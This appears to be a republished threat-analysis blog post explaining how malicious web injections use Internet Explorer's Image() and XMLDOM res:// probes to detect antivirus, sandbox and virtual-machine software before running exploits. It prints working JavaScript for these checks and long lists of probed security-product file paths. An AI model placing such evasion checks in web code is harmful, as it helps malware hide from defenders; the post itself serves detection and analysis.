Software enumeration using Internet Explorer

本文涉及的产品
RDS SQL Server Serverless,2-4RCU 50GB 3个月
推荐场景:
云数据库 RDS SQL Server,基础系列 2核4GB
简介: We do regularly see software enumeration using Internet Explorer in web infections.

We do regularly see software enumeration using Internet Explorer in web infections. It tries to find some specific files(at fixed locations) related to AV and other analysis tools and avoids further execution of the exploit.

There are two different techniques used:
    1. Image()
    2. Microsoft.XMLDOM – ActiveXObject()

They look for some file that is installed in some fixed location in any system. As of today, these techniques 
doesn’t work in updated version of IE.

This is the usual Javascript code you will see in web injection to find
various software and OS architecutre..

1. Image()
    function Check(s) {
        x = new Image();
        x.onload = targetfunction();
        x.src = s;
        return 0;
    }
    Check(“res://C:\\Program Files\\Kaspersky Lab\\Kaspersky Anti-Virus 5.0 for Windows Workstations\\shellex.dll/#2/#102″)

2. Microsoft.XMLDOM – ActiveXObject()
    function checksys(txt) {
        var gytyyr = new ActiveXObject(“Microsoft.XMLDOM“);
        gytyyr.async = true;
        gytyyr.loadXML(‘<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “res://’ + txt + ‘”>’);
        if (gytyyr.parseError.errorCode != 0) {
            var err = “Error Code: ” + gytyyr.parseError.errorCode + “\ n”;
            err += “Error Reason: ” + gytyyr.parseError.reason;
            err += “Error Line: ” + gytyyr.parseError.line;
            if (err.indexOf(“-2147023083″) > 0) {
                return 1;
            } else {
                return 0;
            }
        }
        return 0;
    }
    checksys(“c:\\Windows\\System32\\drivers\\kl1.sys”)

Malware authors used the second technique to find the OS arch type too.
    function arch() {
        try {
            var xmlDoc = new ActiveXObject(“Microsoft.XMLDOM”);
            xmlDoc.async = false;
            xmlDoc.loadXML(‘<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “res://c:\\Program Files (x86)\\Internet Explorer\\iexplore.exe”>’);
            if (xmlDoc.parseError.errorCode == -2147023083)  {
                return 64;
            }
        }
        catch (ex) {
            return 0;
        }
        return 32;
    }

List of SYS/driver file paths searched for:
    c:\WINDOWS\system32\drivers\afwcore.sys
    c:\WINDOWS\system32\drivers\avgtpx86.sys
    c:\WINDOWS\system32\drivers\avipbb.sys
    c:\WINDOWS\system32\drivers\BkavAuto.sys
    c:\WINDOWS\system32\drivers\catflt.sys
    c:\WINDOWS\system32\drivers\cmderd.sys
    c:\Windows\System32\drivers\eamon.sys
    c:\WINDOWS\system32\drivers\econceal.sys
    c:\WINDOWS\system32\drivers\EstRtw.sys
    c:\WINDOWS\system32\drivers\FortiRdr.sys
    c:\WINDOWS\system32\drivers\FStopW.sys
    c:\WINDOWS\system32\drivers\HookHelp.sys
    c:\WINDOWS\system32\drivers\ImmunetProtect.sys
    c:\Windows\System32\drivers\kl1.sys
    c:\Windows\System32\drivers\klflt.sys
    c:\WINDOWS\system32\drivers\klif.sys
    c:\WINDOWS\system32\drivers\kneps.sys
    c:\WINDOWS\system32\drivers\MpFilter.sys
    c:\WINDOWS\system32\drivers\nvcw32mf.sys
    c:\Windows\System32\drivers\Parity.sys
    c:\Windows\System32\drivers\prl_boot.sys
    c:\Windows\System32\drivers\prl_fs.sys
    c:\Windows\System32\drivers\prl_kmdd.sys
    c:\Windows\System32\drivers\prl_memdev.sys
    c:\Windows\System32\drivers\prl_mouf.sys
    c:\Windows\System32\drivers\prl_pv32.sys
    c:\Windows\System32\drivers\prl_sound.sys
    c:\Windows\System32\drivers\prl_strg.sys
    c:\Windows\System32\drivers\prl_tg.sys
    c:\Windows\System32\drivers\prl_time.sys
    c:\Windows\system32\drivers\protreg.sys
    c:\Windows\system32\drivers\SophosBootDriver.sys
    c:\Windows\system32\drivers\SYMEVENT.SYS
    c:\Windows\system32\drivers\SysGuard.sys
    c:\windows\system32\drivers\tmactmon.sys
    c:\windows\system32\drivers\tmcomm.sys
    c:\windows\system32\drivers\TMEBC32.sys
    c:\windows\system32\drivers\tmeext.sys
    c:\windows\system32\drivers\tmevtmgr.sys
    c:\windows\system32\drivers\tmnciesc.sys
    c:\windows\system32\drivers\tmtdi.sys
    c:\Windows\system32\drivers\vbengnt.sys
    c:\Windows\System32\drivers\VBoxGuest.sys
    c:\Windows\System32\drivers\VBoxMouse.sys
    c:\Windows\System32\drivers\VBoxSF.sys
    c:\Windows\System32\drivers\VBoxVideo.sys
    c:\Windows\System32\drivers\vm3dmp.sys
    c:\Windows\System32\drivers\vmhgfs.sys
    c:\Windows\System32\drivers\vmmouse.sys
    c:\Windows\System32\drivers\vmnet.sys
    c:\Windows\System32\drivers\vmusbmouse.sys
    c:\Windows\system32\drivers\vmx86.sys
    c:\Windows\System32\drivers\vmxnet.sys
    c:\Windows\system32\drivers\WpsHelper.sys

List of EXE/DLL paths searched for:
    c:\PROGRA~1\Sophos\SOPHOS~1\SOPHOS~1.DLL
    c:\Program Files (x86)\7-Zip\7z.exe
    C:\Program Files (x86)\EMET 4.1\EMET.dll
    C:\Program Files (x86)\EMET 5.0\EMET.dll
    c:\Program Files (x86)\iTunes\iTunesHelper.exe
    C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 2013\x86\mfc42.dll/#2/#26567
    C:\Program Files (x86)\Kaspersky Lab\Kaspersky Internet Security 2013\x86\mfc42.dll/#2/#26567
    C:\Program Files (x86)\Kaspersky Lab\Kaspersky PURE 2.0\x86\mfc42.dll/#2/#26567
    C:\Program Files (x86)\Kaspersky Lab\Kaspersky PURE 3.0\x86\mfc42.dll/#2/#26567
    C:\Program Files (x86)\Kaspersky Lab\Kaspersky PURE 3.0\x86\mfc42.dll/#2/#26567 
    C:\Program Files (x86)\Kaspersky Lab\Kaspersky PURE\mfc42.dll/#2/#26567
    c:\Program Files (x86)\Microsoft SQL Server\80\COM\sqlvdi.dll
    c:\Program Files (x86)\Microsoft SQL Server\90\COM\instapi.dll
    c:\Program Files\7-Zip\7z.exe
    C:\Program Files\a-squared Anti-Malware\a2cmd.exe
    C:\Program Files\agb7pro\agb.exe
    C:\Program Files\Agnitum\Outpost Security Suite Pro\acs.exe
    C:\Program Files\AhnLab\V3IS80\V3Main.exe
    c:\Program Files\AVG Secure Search\13.2.0.4\AVG Secure Search_toolbar.dll
    c:\Program Files\Bitdefender\Bitdefender 2013 BETA\Active Virus Control\avc3_000_001\avcuf32.dll
    c:\Program Files\Bitdefender\Bitdefender 2013 BETA\BdProvider.dll
    C:\Program Files\BkavHome\Bka.exe
    c:\Program Files\Common Files\AVG Secure Search\DNTInstaller\13.2.0\avgdttbx.dll
    c:\Program Files\Common Files\McAfee\SystemCore\mytilus3.dll
    c:\Program Files\Common Files\McAfee\SystemCore\mytilus3_worker.dll
    c:\Program Files\DrWeb\drwebsp.dll
    C:\Program Files\EMET 4.1\EMET.dll
    C:\Program Files\EMET 5.0\EMET.dll
    C:\Program Files\eScan\shortcut.exe
    C:\Program Files\ESET\ESET Smart Security\egui.exe
    C:\Program Files\ESTsoft\ALYac\AYLaunch.exe
    C:\Program Files\F-Secure\ExploitShield\fsesgui.exe
    c:\Program Files\F-Secure\FSPS\program\FSLSP.DLL
    c:\program files\f-secure\hips\fshook32.dll
    c:\program files\f-secure\scanner-interface\fsgkiapi.dll
    C:\Program Files\Fiddler2\Fiddler.exe
    C:\Program Files\Fortinet\FortiClient\FortiClient.exe
    C:\Program Files\FRISK Software\F-PROT Antivirus for Windows\FPWin.exe
    C:\Program Files\IKARUS\anti.virus\unGuardX.exe
    C:\Program Files\Immunet\ips.exe
    C:\Program Files\INCAInternet\nProtect Anti-Virus Spyware 3.0\nsphsvr.exe
    c:\Program Files\iTunes\iTunesHelper.exe
    C:\Program Files\JiangMin\AntiVirus\KVPopup.exe
    C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 2009\mfc42.dll/#2/#26567
    C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 2010\mfc42.dll/#2/#26567
    C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 2011\avzkrnl.dll/#2/BBALL
    c:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 2012\klwtblc.dll
    C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 2012\x86\mfc42.dll/#2/#26567
    c:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 2013\klwtblc.dll
    c:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 2013\remote_eka_prague_loader.dll
    C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 2013\x86\mfc42.dll/#2/#26567
    C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 5.0 for Windows Workstations\shellex.dll/#2/#102
    C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 6.0 for Windows Workstations\shellex.dll/#2/#102
    C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 6.0\shellex.dll/#2/#102
    C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus 7.0\shellex.dll/#2/#102
    C:\Program Files\Kaspersky Lab\Kaspersky Endpoint Security 8 for Windows\avp.exe
    C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 14.0.0\x86\mfc42.dll/#2/#26567
    C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 15.0.0\x86\mfc42.dll/#2/#26567
    C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2009\mfc42.dll/#2/#26567
    C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2010\mfc42.dll/#2/#26567
    C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2011\avzkrnl.dll/#2/BBALL
    C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2012\x86\mfc42.dll/#2/#26567
    C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2013\x86\mfc42.dll/#2/#26567
    C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 6.0\shellex.dll/#2/#102
    C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 7.0\shellex.dll/#2/#102
    C:\Program Files\Kaspersky Lab\Kaspersky PURE 2.0\x86\mfc42.dll/#2/#26567
    C:\Program Files\Kaspersky Lab\Kaspersky PURE 3.0\x86\mfc42.dll/#2/#26567
    C:\Program Files\Kaspersky Lab\Kaspersky PURE\mfc42.dll/#2/#26567
    c:\Program Files\McAfee\VirusScan Enterprise\RES0402\McShield.dll
    c:\Program Files\Microsoft SQL Server\80\COM\sqlvdi.dll
    c:\Program Files\Microsoft SQL Server\90\COM\instapi.dll
    C:\Program Files\Norman\Nse\Bin\nse.exe
    C:\Program Files\Norton Internet Security\Branding\muis.dll
    C:\Program Files\Norton Internet Security\Engine\21.1.0.18\asOEHook.dll/#2/#102
    C:\Program Files\Norton Internet Security\Engine\21.6.0.32\asOEHook.dll/#2/#102
    C:\Program Files\Oracle\VirtualBox Guest Additions\uninst.exe/#2/#110
    C:\Program Files\Parallels\Parallels Tools\Applications\setup_nativelook.exe/#2/#204
    C:\Program Files\PC Tools Antivirus Software\pctsGui.exe
    C:\Program Files\Quick Heal\Quick Heal Total Security\ARKIT.EXE
    C:\Program Files\Rising\RFW\RavMonD.exe
    C:\Program Files\Rising\RIS\LangSel.exe
    C:\Program Files\Sophos\Sophos Anti-Virus\SavMain.exe
    C:\Program Files\Sunbelt Software\Personal Firewall\cfgconv.exe
    C:\Program Files\SUPERAntiSpyware\SUPERAntiSpyware.exe
    C:\Program Files\Symantec\Symantec Endpoint Protection\DoScan.exe
    c:\Program Files\Symantec\Symantec Endpoint Protection\wpsman.dll
    C:\Program Files\Trend Micro\Titanium\UIFramework\uiWinMgr.exe
    C:\Program Files\ViRobotXP\Vrmonnt.exe
    C:\Program Files\VirusBuster\winpers.exe
    C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe/#2/#26567
    C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe/#2/#30996
    c:\Program Files\WinRAR\WinRAR.exe
    c:\Program Files\WinZip\WZSHLSTB.DLL
    c:\Program Files\WinZip\ZipSendB.dll
    D:\Program Files (x86)\EMET 4.1\EMET.dll
    d:\Program Files (x86)\EMET 5.0\EMET.dll
    d:\Program Files\EMET 4.1\EMET.dll
    d:\Program Files\EMET 5.0\EMET.dll

List of ActiveX loaded:
    Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi.1
    Symantec.IPS.WebProtection.1

相关实践学习
使用SQL语句管理索引
本次实验主要介绍如何在RDS-SQLServer数据库中,使用SQL语句管理索引。
SQL Server on Linux入门教程
SQL Server数据库一直只提供Windows下的版本。2016年微软宣布推出可运行在Linux系统下的SQL Server数据库,该版本目前还是早期预览版本。本课程主要介绍SQLServer On Linux的基本知识。 相关的阿里云产品:云数据库RDS&nbsp;SQL Server版 RDS SQL Server不仅拥有高可用架构和任意时间点的数据恢复功能,强力支撑各种企业应用,同时也包含了微软的License费用,减少额外支出。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/sqlserver
目录
相关文章
|
存储 安全 API
Internet Explorer(三)[上]——VBScript Scripting Engine初探
OS版本:Windows 7 Service Pack 1•Internet Explorer版本:8.0.7601.17514•vbscript.dll版本:5.8.7601.17514
|
存储 安全 Java
Internet Explorer(五)——CVE-2016-0199
•编号:CVE-2016-0199•类型:类型混淆(Type Confusion)
|
存储 安全 Java
Internet Explorer系列(一)——CVE-2012-1876
编号:CVE-2012-1876•类型:堆溢出(Heap Overflow)
|
存储 XML 安全
Internet Explorer(二)——CVE-2013-2551
•编号:CVE-2013-2551•类型:整数溢出(Integer Overflow)
|
安全 JavaScript Windows
Internet Explorer(四)——CVE-2012-4792
•编号:CVE-2012-4792•类型:释放重引用(Use After Free)
|
网络架构
初识Internet(五)
计算机网络的性能
114 0
初识Internet(五)
|
网络架构 容器
初识Internet(六)
计算机网络的性能
222 0
初识Internet(六)
初识Internet(四)
即时通讯工具的使用
196 0
初识Internet(四)
|
Web App开发 搜索推荐 iOS开发
初识Internet(三)
使用计算机网络
115 0
初识Internet(三)
|
网络协议
初识Internet
Internet与Internet接入
155 0
初识Internet